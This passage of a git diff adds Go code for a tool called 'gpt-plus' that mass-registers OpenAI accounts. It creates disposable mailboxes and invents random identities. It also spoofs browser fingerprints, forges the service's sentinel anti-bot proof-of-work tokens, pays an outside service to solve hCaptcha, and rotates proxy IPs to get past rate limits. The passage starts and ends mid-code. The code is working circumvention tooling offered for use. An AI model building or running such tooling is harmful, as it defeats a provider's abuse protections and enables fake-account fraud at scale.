err := client.PostForm(tokenURL, values, headers) + if err != nil { + lastErr = fmt.Errorf("token exchange: %w", err) + time.Sleep(1 * time.Second) + continue + } + body, _ := httpclient.ReadBody(resp) + if resp.StatusCode != 200 { + lastErr = fmt.Errorf("token exchange failed (%d): %s", resp.StatusCode, string(body)) + time.Sleep(1 * time.Second) + continue + } + if err := json.Unmarshal(body, &tokenResp); err != nil { + return nil, fmt.Errorf("parse token response: %w", err) + } + lastErr = nil + break + } + if lastErr != nil { + return nil, lastErr + } + + // Extract account/user IDs from JWT + accountID, userID := extractIDsFromJWT(tokenResp.AccessToken) + + return &LoginResult{ + AccessToken: tokenResp.AccessToken, + RefreshToken: tokenResp.RefreshToken, + IDToken: tokenResp.IDToken, + ChatGPTAccountID: accountID, + ChatGPTUserID: userID, + }, nil +} + +// extractCodeFromURL extracts the "code" query parameter from a URL. +func extractCodeFromURL(rawURL string) string { + if !strings.Contains(rawURL, "code=") { + return "" + } + parsed, err := url.Parse(rawURL) + if err != nil { + return "" + } + return parsed.Query().Get("code") +} + +// extractIDsFromJWT decodes the JWT payload and extracts chatgpt account/user IDs +// from the "https://api.openai.com/auth" claim. +func extractIDsFromJWT(token string) (accountID, userID string) { + parts := strings.SplitN(token, ".", 3) + if len(parts) < 2 { + return + } + + payload := parts[1] + // Add padding if needed + switch len(payload) % 4 { + case 2: + payload += "==" + case 3: + payload += "=" + } + + decoded, err := base64.URLEncoding.DecodeString(payload) + if err != nil { + // Try RawURLEncoding + decoded, err = base64.RawURLEncoding.DecodeString(parts[1]) + if err != nil { + return + } + } + + var claims map[string]interface{} + if err := json.Unmarshal(decoded, &claims); err != nil { + return + } + + authClaim, ok := claims["https://api.openai.com/auth"] + if !ok { + return + } + + authMap, ok := authClaim.(map[string]interface{}) + if !ok { + return + } + + if uid, ok := authMap["user_id"].(string); ok { + userID = uid + } + + // Account ID is nested in organizations or accounts + if orgs, ok := authMap["organizations"].([]interface{}); ok && len(orgs) > 0 { + if org, ok := orgs[0].(map[string]interface{}); ok { + if id, ok := org["id"].(string); ok { + accountID = id + } + } + } + + return +} diff --git a/pkg/auth/register.go b/pkg/auth/register.go new file mode 100644 index 0000000..765d150 --- /dev/null +++ b/pkg/auth/register.go @@ -0,0 +1,441 @@ +package auth + +import ( + "context" + "crypto/rand" + "crypto/sha256" + "encoding/base64" + "encoding/json" + "fmt" + "log" + "math/big" + "net/http" + "net/url" + "strings" + "time" + + "gpt-plus/pkg/httpclient" + "gpt-plus/pkg/provider/email" +) + +// DefaultAcceptLanguage is the Accept-Language header value, set via SetLocale(). +var DefaultAcceptLanguage = "en-US,en;q=0.9" + +// DefaultLanguage is the browser language code (e.g. "ko-KR"), set via SetLocale(). +var DefaultLanguage = "en-US" + +// SetLocale updates the default language settings for the auth package. +func SetLocale(language, acceptLanguage string) { + if language != "" { + DefaultLanguage = language + } + if acceptLanguage != "" { + DefaultAcceptLanguage = acceptLanguage + } +} + +const ( + oauthIssuer = "https://auth.openai.com" + oauthClientID = "app_EMoamEEZ73f0CkXaXp7hrann" + oauthRedirectURI = "http://localhost:1455/auth/callback" + oauthScope = "openid profile email offline_access" +) + +// RegisterResult holds the output of a successful registration. +type RegisterResult struct { + Email string + Password string + DeviceID string + MailboxID string + CodeVerifier string + State string + FirstName string + LastName string + // Tokens are populated when registration completes the full OAuth flow. + Tokens *LoginResult +} + +// generatePKCE generates a PKCE code_verifier and code_challenge (S256). +func generatePKCE() (verifier, challenge string) { + b := make([]byte, 32) + rand.Read(b) + verifier = base64.RawURLEncoding.EncodeToString(b) + h := sha256.Sum256([]byte(verifier)) + challenge = base64.RawURLEncoding.EncodeToString(h[:]) + return +} + +// generateState returns a random URL-safe base64 state token. +func generateState() string { + b := make([]byte, 32) + rand.Read(b) + return base64.RawURLEncoding.EncodeToString(b) +} + +// commonHeaders returns the base API headers used for auth.openai.com requests. +func commonHeaders(deviceID string) map[string]string { + h := map[string]string{ + "accept": "application/json", + "accept-language": DefaultAcceptLanguage, + "content-type": "application/json", + "origin": oauthIssuer, + "sec-ch-ua": `"Google Chrome";v="145", "Not?A_Brand";v="8", "Chromium";v="145"`, + "sec-ch-ua-mobile": "?0", + "sec-ch-ua-platform": `"Windows"`, + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-origin", + "oai-device-id": deviceID, + } + for k, v := range GenerateDatadogHeaders() { + h[k] = v + } + return h +} + +// navigateHeaders returns headers for page-navigation GET requests. +func navigateHeaders() map[string]string { + h := map[string]string{ + "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "accept-language": DefaultAcceptLanguage, + "sec-ch-ua": `"Google Chrome";v="145", "Not?A_Brand";v="8", "Chromium";v="145"`, + "sec-ch-ua-mobile": "?0", + "sec-ch-ua-platform": `"Windows"`, + "sec-fetch-dest": "document", + "sec-fetch-mode": "navigate", + "sec-fetch-site": "same-origin", + "sec-fetch-user": "?1", + "upgrade-insecure-requests": "1", + } + for k, v := range GenerateDatadogHeaders() { + h[k] = v + } + return h +} + +// Register performs the full 6-step registration flow. +func Register(ctx context.Context, client *httpclient.Client, emailProvider email.EmailProvider, password string) (*RegisterResult, error) { + // Create mailbox + emailAddr, mailboxID, err := emailProvider.CreateMailbox(ctx) + if err != nil { + return nil, fmt.Errorf("create mailbox: %w", err) + } + + deviceID := generateDeviceID() + sentinel := &SentinelGenerator{DeviceID: deviceID, SID: generateUUID()} + + firstName, lastName := generateRandomName() + birthdate := generateRandomBirthday() + + // Set oai-did cookie + cookieURL, _ := url.Parse(oauthIssuer) + client.GetCookieJar().SetCookies(cookieURL, []*http.Cookie{ + {Name: "oai-did", Value: deviceID}, + }) + + // PKCE + codeVerifier, codeChallenge := generatePKCE() + state := generateState() + + // ===== Step 0: OAuth session init ===== + authorizeParams := url.Values{ + "response_type": {"code"}, + "client_id": {oauthClientID}, + "redirect_uri": {oauthRedirectURI}, + "scope": {oauthScope}, + "code_challenge": {codeChallenge}, + "code_challenge_method": {"S256"}, + "state": {state}, + "screen_hint": {"signup"}, + "prompt": {"login"}, + "id_token_add_organizations": {"true"}, + "codex_cli_simplified_flow": {"true"}, + } + authorizeURL := oauthIssuer + "/oauth/authorize?" + authorizeParams.Encode() + + navH := navigateHeaders() + resp, err := client.DoWithRetry(ctx, 5, func() (*http.Request, error) { + req, err := http.NewRequestWithContext(ctx, http.MethodGet, authorizeURL, nil) + if err != nil { + return nil, err + } + for k, v := range navH { + req.Header.Set(k, v) + } + return req, nil + }) + if err != nil { + return nil, fmt.Errorf("step0 authorize: %w", err) + } + httpclient.ReadBody(resp) + log.Printf("[register] step0 authorize: status=%d, url=%s", resp.StatusCode, resp.Request.URL.String()) + + // Check for login_session cookie + hasLoginSession := false + for _, cookie := range client.GetCookieJar().Cookies(cookieURL) { + log.Printf("[register] cookie: %s=%s (domain implicit)", cookie.Name, cookie.Value[:min(len(cookie.Value), 20)]+"...") + if cookie.Name == "login_session" { + hasLoginSession = true + } + } + if !hasLoginSession { + log.Printf("[register] WARNING: no login_session cookie found after step0") + } + + // ===== Step 0b: POST authorize/continue with email ===== + sentinelToken, err := sentinel.GenerateToken(ctx, client, "authorize_continue") + if err != nil { + return nil, fmt.Errorf("step0b sentinel: %w", err) + } + + headers := commonHeaders(deviceID) + headers["referer"] = oauthIssuer + "/create-account" + headers["openai-sentinel-token"] = sentinelToken + + continueBody := map[string]interface{}{ + "username": map[string]string{"kind": "email", "value": emailAddr}, + "screen_hint": "signup", + } + continueJSON, _ := json.Marshal(continueBody) + resp, err = client.DoWithRetry(ctx, 5, func() (*http.Request, error) { + req, err := http.NewRequestWithContext(ctx, http.MethodPost, oauthIssuer+"/api/accounts/authorize/continue", strings.NewReader(string(continueJSON))) + if err != nil { + return nil, err + } + for k, v := range headers { + req.Header.Set(k, v) + } + return req, nil + }) + if err != nil { + return nil, fmt.Errorf("step0b authorize/continue: %w", err) + } + body, _ := httpclient.ReadBody(resp) + if resp.StatusCode != 200 { + return nil, fmt.Errorf("step0b failed (%d): %s", resp.StatusCode, string(body)) + } + log.Printf("[register] step0b authorize/continue: status=%d", resp.StatusCode) + + // ===== Step 2: POST register ===== + sentinelToken, err = sentinel.GenerateToken(ctx, client, "register") + if err != nil { + return nil, fmt.Errorf("step2 sentinel: %w", err) + } + + headers = commonHeaders(deviceID) + headers["referer"] = oauthIssuer + "/create-account/password" + headers["openai-sentinel-token"] = sentinelToken + + registerBody := map[string]string{ + "username": emailAddr, + "password": password, + } + resp, err = client.PostJSON(oauthIssuer+"/api/accounts/user/register", registerBody, headers) + if err != nil { + return nil, fmt.Errorf("step2 register: %w", err) + } + body, _ = httpclient.ReadBody(resp) + if resp.StatusCode != 200 && resp.StatusCode != 302 { + return nil, fmt.Errorf("step2 register failed (%d): %s", resp.StatusCode, string(body)) + } + log.Printf("[register] step2 register: status=%d, body=%s", resp.StatusCode, string(body)[:min(len(body), 200)]) + + // ===== Step 3: GET email-otp/send ===== + navH["referer"] = oauthIssuer + "/create-account/password" + resp, err = client.Get(oauthIssuer+"/api/accounts/email-otp/send", navH) + if err != nil { + return nil, fmt.Errorf("step3 send otp: %w", err) + } + otpBody, _ := httpclient.ReadBody(resp) + log.Printf("[register] step3 send otp: status=%d, body=%s", resp.StatusCode, string(otpBody)[:min(len(otpBody), 200)]) + + // Also GET /email-verification page to accumulate cookies + resp, err = client.Get(oauthIssuer+"/email-verification", navH) + if err != nil { + return nil, fmt.Errorf("step3 email-verification page: %w", err) + } + httpclient.ReadBody(resp) + log.Printf("[register] step3 email-verification page: status=%d", resp.StatusCode) + + // ===== Step 4: Wait for OTP and validate ===== + code, err := emailProvider.WaitForVerificationCode(ctx, mailboxID, 120*time.Second, time.Time{}) + if err != nil { + return nil, fmt.Errorf("step4 wait for otp: %w", err) + } + + headers = commonHeaders(deviceID) + headers["referer"] = oauthIssuer + "/email-verification" + + validateBody := map[string]string{"code": code} + resp, err = client.PostJSON(oauthIssuer+"/api/accounts/email-otp/validate", validateBody, headers) + if err != nil { + return nil, fmt.Errorf("step4 validate otp: %w", err) + } + body, _ = httpclient.ReadBody(resp) + if resp.StatusCode != 200 { + return nil, fmt.Errorf("step4 validate failed (%d): %s", resp.StatusCode, string(body)) + } + + // Parse continue_url from validate response + var validateResp struct { + ContinueURL string `json:"continue_url"` + Page struct { + Type string `json:"type"` + } `json:"page"` + } + json.Unmarshal(body, &validateResp) + + // ===== Step 5: POST create_account ===== + headers = commonHeaders(deviceID) + headers["referer"] = oauthIssuer + "/about-you" + + createBody := map[string]string{ + "name": firstName + " " + lastName, + "birthdate": birthdate, + } + resp, err = client.PostJSON(oauthIssuer+"/api/accounts/create_account", createBody, headers) + if err != nil { + return nil, fmt.Errorf("step5 create account: %w", err) + } + body, _ = httpclient.ReadBody(resp) + // 200 = success, 400 with "already_exists" is also acceptable + if resp.StatusCode != 200 { + if resp.StatusCode == 400 && strings.Contains(string(body), "already_exists") { + // Account already created during registration, this is fine + } else { + return nil, fmt.Errorf("step5 create account failed (%d): %s", resp.StatusCode, string(body)) + } + } + + // ===== Step 6: Complete OAuth flow (consent → callback → tokens) ===== + log.Printf("[register] step6 completing OAuth flow to get tokens") + + // Determine consent continue URL + var createResp struct { + ContinueURL string `json:"continue_url"` + } + json.Unmarshal(body, &createResp) + consentURL := createResp.ContinueURL + if consentURL == "" { + consentURL = oauthIssuer + "/sign-in-with-chatgpt/codex/consent" + } + + authCode, err := followConsentRedirects(ctx, client, deviceID, consentURL, "") + if err != nil { + log.Printf("[register] step6 consent flow failed (non-fatal): %v", err) + // Return without tokens — caller will need to do a separate login + return &RegisterResult{ + Email: emailAddr, + Password: password, + DeviceID: deviceID, + MailboxID: mailboxID, + CodeVerifier: codeVerifier, + State: state, + FirstName: firstName, + LastName: lastName, + }, nil + } + + tokens, err := exchangeCodeForTokens(ctx, client, authCode, codeVerifier) + if err != nil { + log.Printf("[register] step6 token exchange failed (non-fatal): %v", err) + return &RegisterResult{ + Email: emailAddr, + Password: password, + DeviceID: deviceID, + MailboxID: mailboxID, + CodeVerifier: codeVerifier, + State: state, + FirstName: firstName, + LastName: lastName, + }, nil + } + + log.Printf("[register] step6 OAuth flow complete, got tokens") + return &RegisterResult{ + Email: emailAddr, + Password: password, + DeviceID: deviceID, + MailboxID: mailboxID, + CodeVerifier: codeVerifier, + State: state, + FirstName: firstName, + LastName: lastName, + Tokens: tokens, + }, nil +} + +// GenerateRandomPassword creates a random password with mixed character types. +func GenerateRandomPassword(length int) string { + if length < 8 { + length = 16 + } + const ( + upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + lower = "abcdefghijklmnopqrstuvwxyz" + digits = "0123456789" + special = "!@#$%^&*" + ) + all := upper + lower + digits + special + + // Ensure at least one of each type + pw := make([]byte, length) + pw[0] = upper[randInt(len(upper))] + pw[1] = lower[randInt(len(lower))] + pw[2] = digits[randInt(len(digits))] + pw[3] = special[randInt(len(special))] + + for i := 4; i < length; i++ { + pw[i] = all[randInt(len(all))] + } + + // Shuffle + for i := len(pw) - 1; i > 0; i-- { + j := randInt(i + 1) + pw[i], pw[j] = pw[j], pw[i] + } + return string(pw) +} + +var firstNames = []string{ + "James", "Mary", "Robert", "Patricia", "John", "Jennifer", "Michael", "Linda", + "David", "Elizabeth", "William", "Barbara", "Richard", "Susan", "Joseph", "Jessica", + "Thomas", "Sarah", "Charles", "Karen", "Christopher", "Lisa", "Daniel", "Nancy", +} + +var lastNames = []string{ + "Smith", "Johnson", "Williams", "Brown", "Jones", "Garcia", "Miller", "Davis", + "Rodriguez", "Martinez", "Hernandez", "Lopez", "Gonzalez", "Wilson", "Anderson", + "Thomas", "Taylor", "Moore", "Jackson", "Martin", "Lee", "Perez", "Thompson", "White", +} + +func generateRandomName() (first, last string) { + first = firstNames[randInt(len(firstNames))] + last = lastNames[randInt(len(lastNames))] + return +} + +func generateRandomBirthday() string { + year := 1985 + randInt(16) // 1985-2000 + month := 1 + randInt(12) + day := 1 + randInt(28) + return fmt.Sprintf("%04d-%02d-%02d", year, month, day) +} + +func generateDeviceID() string { + return generateUUID() +} + +func generateUUID() string { + b := make([]byte, 16) + rand.Read(b) + b[6] = (b[6] & 0x0f) | 0x40 // version 4 + b[8] = (b[8] & 0x3f) | 0x80 // variant 10 + return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x", + b[0:4], b[4:6], b[6:8], b[8:10], b[10:16]) +} + +func randInt(max int) int { + n, _ := rand.Int(rand.Reader, big.NewInt(int64(max))) + return int(n.Int64()) +} diff --git a/pkg/auth/sentinel.go b/pkg/auth/sentinel.go new file mode 100644 index 0000000..b8bfe79 --- /dev/null +++ b/pkg/auth/sentinel.go @@ -0,0 +1,264 @@ +package auth + +import ( + "context" + "crypto/rand" + "encoding/base64" + "encoding/json" + "fmt" + "log" + "math" + "math/big" + "net/http" + "strings" + "time" + + "gpt-plus/pkg/httpclient" +) + +const ( + sentinelReqURL = "https://sentinel.openai.com/backend-api/sentinel/req" + maxPowAttempts = 500000 + errorPrefix = "wQ8Lk5FbGpA2NcR9dShT6gYjU7VxZ4D" + defaultUA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" +) + +// SentinelGenerator generates openai-sentinel-token values. +type SentinelGenerator struct { + DeviceID string + SID string // session UUID + client *httpclient.Client +} + +// NewSentinelGenerator creates a new SentinelGenerator with a random DeviceID. +func NewSentinelGenerator(client *httpclient.Client) *SentinelGenerator { + return &SentinelGenerator{ + DeviceID: generateUUID(), + SID: generateUUID(), + client: client, + } +} + +// NewSentinelGeneratorWithDeviceID creates a SentinelGenerator reusing an existing DeviceID. +// Use this to keep sentinel.DeviceID consistent with oai-device-id in request headers. +func NewSentinelGeneratorWithDeviceID(client *httpclient.Client, deviceID string) *SentinelGenerator { + return &SentinelGenerator{ + DeviceID: deviceID, + SID: generateUUID(), + client: client, + } +} + +// sentinelRequirements is the response from the sentinel /req endpoint. +type sentinelRequirements struct { + Token string `json:"token"` + ProofOfWork struct { + Required bool `json:"required"` + Seed string `json:"seed"` + Difficulty string `json:"difficulty"` + } `json:"proofofwork"` +} + +// fnv1a32 computes FNV-1a 32-bit hash with murmurhash3 finalizer mixing, +// matching the sentinel SDK's JavaScript implementation. +func fnv1a32(text string) string { + h := uint32(2166136261) // FNV offset basis + for _, c := range []byte(text) { + h ^= uint32(c) + h *= 16777619 // FNV prime + } + // xorshift mixing (murmurhash3 finalizer) + h ^= h >> 16 + h *= 2246822507 + h ^= h >> 13 + h *= 3266489909 + h ^= h >> 16 + return fmt.Sprintf("%08x", h) +} + +// buildConfig constructs the 19-element browser environment config array. +func (sg *SentinelGenerator) buildConfig() []interface{} { + now := time.Now().UTC() + dateStr := now.Format("Mon Jan 02 2006 15:04:05 GMT+0000 (Coordinated Universal Time)") + + navRandom := cryptoRandomFloat() + perfNow := 100.5 + cryptoRandomFloat()*50 + timeOrigin := float64(now.UnixMilli()) - perfNow + + config := []interface{}{ + "1920x1080", // [0] screen + dateStr, // [1] date + 4294705152, // [2] jsHeapSizeLimit + 0, // [3] nonce placeholder + defaultUA, // [4] userAgent + "https://sentinel.openai.com/sentinel/20260124ceb8/sdk.js", // [5] script src + nil, // [6] script version + nil, // [7] data build + DefaultLanguage, // [8] language + 0, // [9] elapsed_ms placeholder + navRandom, // [10] random float + 0, // [11] nav val + 0, // [12] doc key + 10, // [13] win key + perfNow, // [14] performance.now + sg.SID, // [15] session UUID + "", // [16] URL params + 16, // [17] hardwareConcurrency + timeOrigin, // [18] timeOrigin + } + return config +} + +// base64EncodeConfig JSON-encodes the config array with compact separators, then base64 encodes it. +func base64EncodeConfig(config []interface{}) string { + jsonBytes, _ := json.Marshal(config) + return base64.StdEncoding.EncodeToString(jsonBytes) +} + +// runCheck performs a single PoW check iteration. +func (sg *SentinelGenerator) runCheck(startTime time.Time, seed, difficulty string, config []interface{}, nonce int) string { + config[3] = nonce + config[9] = int(time.Since(startTime).Milliseconds()) + + data := base64EncodeConfig(config) + hashHex := fnv1a32(seed + data) + + diffLen := len(difficulty) + if diffLen > 0 && hashHex[:diffLen] <= difficulty { + return data + "~S" + } + return "" +} + +// solvePoW runs the PoW loop and returns the solution token. +func (sg *SentinelGenerator) solvePoW(seed, difficulty string) string { + startTime := time.Now() + config := sg.buildConfig() + + for i := 0; i < maxPowAttempts; i++ { + result := sg.runCheck(startTime, seed, difficulty, config, i) + if result != "" { + return "gAAAAAB" + result + } + } + + // PoW failed after max attempts, return error token + errData := base64EncodeConfig([]interface{}{nil}) + return "gAAAAAB" + errorPrefix + errData +} + +// generateRequirementsToken creates a requirements token (no server seed needed). +// This is the SDK's getRequirementsToken() equivalent. +func (sg *SentinelGenerator) generateRequirementsToken() string { + config := sg.buildConfig() + config[3] = 1 + config[9] = 5 + int(cryptoRandomFloat()*45) // simulate small delay 5-50ms + data := base64EncodeConfig(config) + return "gAAAAAC" + data // note: prefix is C, not B +} + +// fetchChallenge calls the sentinel backend to get challenge data. +// Retries on 403/network errors since the proxy rotates IP every ~30s. +func (sg *SentinelGenerator) fetchChallenge(ctx context.Context, client *httpclient.Client, flow string) (*sentinelRequirements, error) { + const maxRetries = 5 + var lastErr error + + for attempt := 1; attempt <= maxRetries; attempt++ { + result, err := sg.doFetchChallenge(ctx, client, flow) + if err == nil { + return result, nil + } + lastErr = err + log.Printf("[sentinel] attempt %d/%d failed: %v", attempt, maxRetries, err) + + if attempt < maxRetries { + // Wait for proxy IP rotation, use shorter waits for early attempts + wait := time.Duration(3*attempt) * time.Second + log.Printf("[sentinel] waiting %v for proxy IP rotation before retry...", wait) + select { + case <-ctx.Done(): + return nil, ctx.Err() + case <-time.After(wait): + } + } + } + + return nil, fmt.Errorf("sentinel failed after %d attempts: %w", maxRetries, lastErr) +} + +func (sg *SentinelGenerator) doFetchChallenge(ctx context.Context, client *httpclient.Client, flow string) (*sentinelRequirements, error) { + pToken := sg.generateRequirementsToken() + + reqBody := map[string]string{ + "p": pToken, + "id": sg.DeviceID, + "flow": flow, + } + bodyBytes, _ := json.Marshal(reqBody) + + req, err := http.NewRequestWithContext(ctx, http.MethodPost, sentinelReqURL, strings.NewReader(string(bodyBytes))) + if err != nil { + return nil, fmt.Errorf("create sentinel request: %w", err) + } + + req.Header.Set("Content-Type", "text/plain;charset=UTF-8") + req.Header.Set("Origin", "https://sentinel.openai.com") + req.Header.Set("Referer", "https://sentinel.openai.com/backend-api/sentinel/frame.html?sv=20260219f9f6") + req.Header.Set("sec-ch-ua", `"Google Chrome";v="145", "Not?A_Brand";v="8", "Chromium";v="145"`) + req.Header.Set("sec-ch-ua-mobile", "?0") + req.Header.Set("sec-ch-ua-platform", `"Windows"`) + + resp, err := client.Do(req) + if err != nil { + return nil, fmt.Errorf("sentinel request: %w", err) + } + body, err := httpclient.ReadBody(resp) + if err != nil { + return nil, fmt.Errorf("read sentinel response: %w", err) + } + if resp.StatusCode != 200 { + return nil, fmt.Errorf("sentinel returned %d", resp.StatusCode) + } + + var result sentinelRequirements + if err := json.Unmarshal(body, &result); err != nil { + return nil, fmt.Errorf("parse sentinel response: %w", err) + } + return &result, nil +} + +// GenerateToken builds the full openai-sentinel-token JSON string for a given flow. +func (sg *SentinelGenerator) GenerateToken(ctx context.Context, client *httpclient.Client, flow string) (string, error) { + if client == nil { + client = sg.client + } + challenge, err := sg.fetchChallenge(ctx, client, flow) + if err != nil { + return "", fmt.Errorf("fetch sentinel challenge: %w", err) + } + + cValue := challenge.Token + + var pValue string + if challenge.ProofOfWork.Required && challenge.ProofOfWork.Seed != "" { + pValue = sg.solvePoW(challenge.ProofOfWork.Seed, challenge.ProofOfWork.Difficulty) + } else { + pValue = sg.generateRequirementsToken() + } + + token := map[string]string{ + "p": pValue, + "t": "", + "c": cValue, + "id": sg.DeviceID, + "flow": flow, + } + tokenBytes, _ := json.Marshal(token) + return string(tokenBytes), nil +} + +// cryptoRandomFloat returns a cryptographically random float64 in [0, 1). +func cryptoRandomFloat() float64 { + n, _ := rand.Int(rand.Reader, big.NewInt(math.MaxInt64)) + return float64(n.Int64()) / float64(math.MaxInt64) +} diff --git a/pkg/captcha/capsolver.go b/pkg/captcha/capsolver.go new file mode 100644 index 0000000..0d7d73d --- /dev/null +++ b/pkg/captcha/capsolver.go @@ -0,0 +1,341 @@ +package captcha + +import ( + "context" + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "strings" + "time" +) + +const hcaptchaSolverAPI = "https://hcaptchasolver.com/api" + +const defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" + +// candidateURLs to try for hCaptcha solving — b.stripecdn.com confirmed working by hcaptchasolver support. +var candidateURLs = []string{ + "https://b.stripecdn.com", + "https://newassets.hcaptcha.com", +} + +// Solver handles hCaptcha challenge solving via hcaptchasolver.com. +type Solver struct { + apiKey string // hcaptchasolver.com API key + proxy string + client *http.Client + StatusFn func(format string, args ...interface{}) // progress callback +} + +// NewSolver creates a captcha solver. +func NewSolver(apiKey, proxy string) *Solver { + return &Solver{ + apiKey: apiKey, + proxy: proxy, + client: &http.Client{Timeout: 180 * time.Second}, + } +} + +// SetStatusFn sets the status callback for printing progress to terminal. +func (s *Solver) SetStatusFn(fn func(format string, args ...interface{})) { + s.StatusFn = fn +} + +// SetProxy updates the proxy URL. +func (s *Solver) SetProxy(proxy string) { + s.proxy = proxy +} + +// statusf prints progress if StatusFn is set. +func (s *Solver) statusf(format string, args ...interface{}) { + if s.StatusFn != nil { + s.StatusFn(format, args...) + } +} + +// platform represents a captcha solving service. +type platform struct { + name string + apiBase string + apiKey string +} + +// platforms returns the list of solving platforms. +func (s *Solver) platforms() []platform { + var ps []platform + if s.apiKey != "" { + ps = append(ps, platform{name: "hcaptchasolver", apiBase: hcaptchaSolverAPI, apiKey: s.apiKey}) + } + return ps +} + +// SolveHCaptcha solves an hCaptcha challenge and returns the token + ekey. +// Uses b.stripecdn.com as the primary websiteURL (confirmed working). +func (s *Solver) SolveHCaptcha(ctx context.Context, siteKey, siteURL, rqdata string) (token, ekey string, err error) { + // Build list of URLs to try: b.stripecdn.com first (confirmed working), then user-provided, then candidates + urls := []string{} + for _, u := range candidateURLs { + urls = append(urls, u) + } + // Add user-provided URL if not already in list + if siteURL != "" { + found := false + for _, u := range urls { + if u == siteURL { + found = true + break + } + } + if !found { + urls = append(urls, siteURL) + } + } + + platforms := s.platforms() + if len(platforms) == 0 { + return "", "", fmt.Errorf("no captcha solving platforms configured") + } + + var lastErr error + for _, p := range platforms { + s.statusf(" → [%s] 正在解 hCaptcha...", p.name) + log.Printf("[captcha] [%s] trying...", p.name) + for i, tryURL := range urls { + log.Printf("[captcha] [%s] websiteURL %d/%d: %s", p.name, i+1, len(urls), tryURL) + + token, ekey, err = s.solveWithRetry(ctx, siteKey, tryURL, rqdata, p) + if err == nil { + ekeyPreview := ekey + if len(ekeyPreview) > 16 { + ekeyPreview = ekeyPreview[:16] + "..." + } + s.statusf(" ✓ [%s] 解题成功 (token长度=%d, ekey=%s)", p.name, len(token), ekeyPreview) + log.Printf("[captcha] [%s] success!", p.name) + return token, ekey, nil + } + s.statusf(" ⚠ [%s] 失败: %v", p.name, err) + log.Printf("[captcha] [%s] failed: %v", p.name, err) + lastErr = err + + if !strings.Contains(err.Error(), "UNSOLVABLE") && + !strings.Contains(err.Error(), "CAPTCHA_FAILED") && + !strings.Contains(err.Error(), "Bad Proxy") { + break + } + } + } + + return "", "", fmt.Errorf("captcha failed on all %d platforms: %w", len(platforms), lastErr) +} + +// SolveInvisibleHCaptcha solves an invisible (passive) hCaptcha challenge. +func (s *Solver) SolveInvisibleHCaptcha(ctx context.Context, siteKey, siteURL string) (token, ekey string, err error) { + log.Printf("[captcha] solving invisible hCaptcha: site_key=%s, url=%s", siteKey, siteURL) + + platforms := s.platforms() + if len(platforms) == 0 { + return "", "", fmt.Errorf("no captcha solving platforms configured") + } + + for _, p := range platforms { + s.statusf(" → [%s] 正在解 invisible hCaptcha...", p.name) + // Each platform gets 120s timeout (hcaptchasolver needs up to 2 min) + platformCtx, platformCancel := context.WithTimeout(ctx, 120*time.Second) + token, ekey, err = s.solveOnce(platformCtx, siteKey, siteURL, "", p, true) + platformCancel() + if err == nil { + s.statusf(" ✓ [%s] invisible 解题成功 (token长度=%d)", p.name, len(token)) + log.Printf("[captcha] invisible hCaptcha solved via %s", p.name) + return token, ekey, nil + } + s.statusf(" ⚠ [%s] invisible 失败: %v", p.name, err) + log.Printf("[captcha] invisible hCaptcha failed on %s: %v", p.name, err) + } + return "", "", fmt.Errorf("invisible hCaptcha failed on all platforms: %w", err) +} + +// solveWithRetry tries solving once with retry on UNSOLVABLE. +func (s *Solver) solveWithRetry(ctx context.Context, siteKey, siteURL, rqdata string, p platform) (token, ekey string, err error) { + const maxRetries = 2 + for retry := 1; retry <= maxRetries; retry++ { + if retry > 1 { + log.Printf("[captcha] retry %d/%d for %s...", retry, maxRetries, siteURL) + } + token, ekey, err = s.solveOnce(ctx, siteKey, siteURL, rqdata, p, false) + if err == nil { + return token, ekey, nil + } + if !strings.Contains(err.Error(), "UNSOLVABLE") { + return "", "", err + } + log.Printf("[captcha] attempt %d failed: %v", retry, err) + } + return "", "", err +} + +// solveOnce creates a task and polls for result on a single platform. +func (s *Solver) solveOnce(ctx context.Context, siteKey, siteURL, rqdata string, p platform, invisible bool) (token, ekey string, err error) { + taskType := "PopularCaptchaTaskProxyless" + if s.proxy != "" && !invisible { + taskType = "PopularCaptchaTask" + } + + task := map[string]interface{}{ + "type": taskType, + "websiteURL": siteURL, + "websiteKey": siteKey, + "user_agent": defaultUserAgent, + "pow_type": "hsw", + } + + if rqdata != "" { + task["rqdata"] = rqdata + } + + if !invisible { + task["is_invisible"] = false + } + + if taskType == "PopularCaptchaTask" && s.proxy != "" { + solverProxy := s.proxy + if strings.HasPrefix(solverProxy, "socks5://") { + solverProxy = "http://" + strings.TrimPrefix(solverProxy, "socks5://") + } + task["proxy"] = solverProxy + } + + taskReq := map[string]interface{}{ + "clientKey": p.apiKey, + "task": task, + } + + body, err := json.Marshal(taskReq) + if err != nil { + return "", "", fmt.Errorf("marshal create task: %w", err) + } + + log.Printf("[captcha] [%s] createTask: %s", p.name, string(body)) + + req, err := http.NewRequestWithContext(ctx, "POST", p.apiBase+"/createTask", strings.NewReader(string(body))) + if err != nil { + return "", "", fmt.Errorf("create task request: %w", err) + } + req.Header.Set("Content-Type", "application/json") + + resp, err := s.client.Do(req) + if err != nil { + return "", "", fmt.Errorf("send create task: %w", err) + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return "", "", fmt.Errorf("read create task response: %w", err) + } + log.Printf("[captcha] [%s] createTask response: status=%d body=%s", p.name, resp.StatusCode, string(respBody)) + + var createResult struct { + ErrorID int `json:"errorId"` + ErrorCode string `json:"errorCode"` + ErrorDescription string `json:"errorDescription"` + TaskID string `json:"taskId"` + } + if err := json.Unmarshal(respBody, &createResult); err != nil { + return "", "", fmt.Errorf("parse create task response: %w (body: %s)", err, string(respBody)) + } + + if createResult.ErrorID != 0 { + return "", "", fmt.Errorf("create task error: %s - %s", createResult.ErrorCode, createResult.ErrorDescription) + } + if createResult.TaskID == "" { + return "", "", fmt.Errorf("createTask: no taskId in response") + } + + log.Printf("[captcha] [%s] task created: %s, polling for result...", p.name, createResult.TaskID) + + for attempt := 1; attempt <= 60; attempt++ { + select { + case <-ctx.Done(): + return "", "", ctx.Err() + case <-time.After(5 * time.Second): + } + + token, ekey, done, err := 